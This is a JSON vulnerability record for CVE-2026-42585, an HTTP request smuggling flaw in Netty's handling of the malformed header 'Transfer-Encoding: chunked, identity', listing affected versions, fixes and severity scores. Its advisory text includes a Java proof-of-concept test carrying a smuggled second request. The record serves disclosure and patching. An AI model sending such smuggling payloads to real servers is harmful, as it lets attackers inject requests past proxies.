{"id":"CVE-2026-42585","aliases":["CVE-2026-42585","GHSA-38f8-5428-x5cv"],"related":[],"kind":"vulnerability","state":"published","title":"Netty: HTTP Request Smuggling due to malformed Transfer-Encoding","summary":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.","source":"cvelist"},{"lang":"en","text":"### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn't reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests","format":"markdown","source":"ghsa"},{"lang":"es","text":"Netty es un framework de aplicación de red asíncrono y basado en eventos. Antes de 4.2.13.Final y 4.1.133.Final, Netty analiza incorrectamente Transfer-Encoding malformado, lo que permite ataques de contrabando de solicitudes. Esta vulnerabilidad se corrige en 4.2.13.Final y 4.1.133.Final.","source":"nvd"}],"published":"2026-05-07T00:22:27.000Z","modified":"2026-10-26T17:10:03.270Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-444"],"affected":[{"ranges":[{"version":">= 4.2.0.Alpha1, < 4.2.13.Final","status":"affected"},{"version":"< 4.1.133.Final","status":"affected"}],"vendor":"netty","product":"netty","source":"cvelist"},{"ranges":[{"version":">= 4.2.0.Alpha1, < 4.2.13.Final","status":"affected"},{"version":"< 4.1.133.Final","status":"affected"}],"vendor":"io.netty","product":"netty-codec-http","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"4.2.0.Alpha1","status":"affected","fixed":"4.2.13.Final"}],"ecosystem":"Maven","package":"io.netty:netty-codec-http","purl":"pkg:maven/io.netty/netty-codec-http","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"4.1.133.Final"}],"ecosystem":"Maven","package":"io.netty:netty-codec-http","purl":"pkg:maven/io.netty/netty-codec-http","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"4.1.133"},{"status":"affected","introduced":"4.2.0","fixed":"4.2.13"}],"vendor":"netty","product":"netty","cpe":"cpe:2.3:a:netty:netty:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42585","tags":["advisory"],"sources":["ghsa"]},{"url":"https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/netty/netty","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"partial","date":"2026-05-15T20:33:59.288Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-42585","url":"https://www.cve.org/CVERecord?id=CVE-2026-42585","licence":"CVE Terms of Use","modified":"2026-05-15T20:34:21.305Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-38f8-5428-x5cv","url":"https://github.com/advisories/GHSA-38f8-5428-x5cv","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:04.415Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-42585","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42585","licence":"Public domain","modified":"2026-10-26T17:10:03.270Z"}],"updatedAt":"2026-11-25T22:59:21.646Z","epss":{"score":0.00267,"percentile":0.20081,"date":"2026-12-01T12:00:22.000Z"}}